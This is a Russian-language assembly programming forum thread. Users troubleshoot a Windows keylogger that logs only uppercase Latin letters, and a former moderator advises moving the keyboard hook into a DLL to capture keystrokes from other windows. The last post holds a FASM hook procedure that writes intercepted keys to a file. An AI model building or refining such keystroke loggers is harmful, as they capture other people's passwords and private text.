![]() |
|
|
![]()
|
|
| туварищь |
|
|||
|
Unregistered |
Возвращает заглавные буквы причем тока англ алфавита и не понимает русский и прописные буквы как решить эту проблемму? |
|||
|
||||
| oleg1973 |
|
|||
![]() asm fanat ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 3283 Регистрация: 16.7.2003 Где: Italy Репутация: 2 Всего: 34 |
invoke ToAscii
-------------------- SST 465555 icq 200-512-712 |
|||
|
||||
| Guest |
|
|||
|
Unregistered |
oleg1973 Попробовал как ты сказал всё равно глючит либо в лог пишет какойто мусор либо вообще ничего.
|
|||
|
||||
| oleg1973 |
|
|||
![]() asm fanat ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 3283 Регистрация: 16.7.2003 Где: Italy Репутация: 2 Всего: 34 |
ну если это кейлогер то нада засунуть все в ДЛЛ
и потом сделать ХУК таким образом параметр KeyCode будет приходить из окна в котором нажатие было а в данном примере KeyCode у тебя = 0 -------------------- SST 465555 icq 200-512-712 |
|||
|
||||
| туварищь |
|
|||
|
Unregistered |
oleg1973
Прочитал на форуме твой топик кейлогер без dll так он вроде называется попробовал периписать всё на masm но вылетает много ошибок
ошибки: C:\AsmEdit\prim.asm(23) : error A2006: undefined symbol : myshit C:\AsmEdit\prim.asm(23) : error A2114: INVOKE argument type mismatch : argument : 3 C:\AsmEdit\prim.asm(25) : error A2206: missing operator in expression C:\AsmEdit\prim.asm(25) : error A2114: INVOKE argument type mismatch : argument : 2 C:\AsmEdit\prim.asm(30) : error A2006: undefined symbol : KeyboardProc C:\AsmEdit\prim.asm(30) : error A2114: INVOKE argument type mismatch : argument : 2 C:\AsmEdit\prim.asm(42) : error A2006: undefined symbol : khookhdr C:\AsmEdit\prim.asm(42) : error A2114: INVOKE argument type mismatch : argument : 1 C:\AsmEdit\prim.asm(45) : error A2008: syntax error : proc C:\AsmEdit\prim.asm(46) : error A2008: syntax error : in instruction C:\AsmEdit\prim.asm(47) : error A2006: undefined symbol : txt C:\AsmEdit\prim.asm(47) : error A2114: INVOKE argument type mismatch : argument : 3 C:\AsmEdit\prim.asm(47) : error A2114: INVOKE argument type mismatch : argument : 2 C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : lParam C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 4 C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : wParam C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 3 C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : code C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 2 C:\AsmEdit\prim.asm(48) : error A2006: undefined symbol : khookhdr C:\AsmEdit\prim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 1 C:\AsmEdit\prim.asm(49) : error A2008: syntax error : return C:\AsmEdit\prim.asm(50) : error A2008: syntax error : endp C:\AsmEdit\prim.asm(31) : error A2006: undefined symbol : khookhdr |
|||
|
||||
| oleg1973 |
|
|||
![]() asm fanat ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 3283 Регистрация: 16.7.2003 Где: Italy Репутация: 2 Всего: 34 |
ну в масме я не селен, но ошибки изза разницы синтаксиса
код делался для фасма -------------------- SST 465555 icq 200-512-712 |
|||
|
||||
| туварищь |
|
|||
|
Unregistered |
oleg1973 Пробовал компилить твою прогу Fasm' ом компилер ругался на
Скачивал последнюю версию Fasm с официального сайта и там тоже файла api.inc не было. |
|||
|
||||
| oleg1973 |
|
|||
![]() asm fanat ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 3283 Регистрация: 16.7.2003 Где: Italy Репутация: 2 Всего: 34 |
ну файлик етот я сам делал для удобства
там просто описание импортов функций -------------------- SST 465555 icq 200-512-712 |
|||
|
||||
| туварищь |
|
|||
|
Unregistered |
oleg1973 спасиб тебе я правда и сам уже допёр но ещё раз спасибо
|
|||
|
||||
| Guest |
|
|||
|
Unregistered |
[code=asm]
proc KeyBoardProc, code, wParam, lParam kbuff: times 1 db ? vkey: times 256 db ? cmp [code=asm], HC_ACTION jne .next cmp [wParam], WM_KEYDOWN jne .next .write: invoke CreateFile, fnome, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL, 0 mov [fhdr], eax invoke SetFilePointer, [fhdr], 0, 0, FILE_END invoke GetKeyboardState, vkey mov eax, [lParam] invoke ToAscii, [eax], [eax+4], vkey, kbuff, NULL invoke WriteFile, [fhdr], kbuff, 1, shit, 0 invoke CloseHandle, [fhdr] .next: invoke CallNextHookEx, [khook], [code=asm], [wParam], [lParam] ret endp oleg1973 я использовал кусок вашей программы для своей и столкнулся с проблеммой в файл пишутся тока прописные буквы латиницы а кирилица вообще не детектируется как быть? |
|||
|
||||
![]()
|
| Правила форума "Asm для Windows/DOS" | |
|
|
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | Asm для Windows/Dos | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |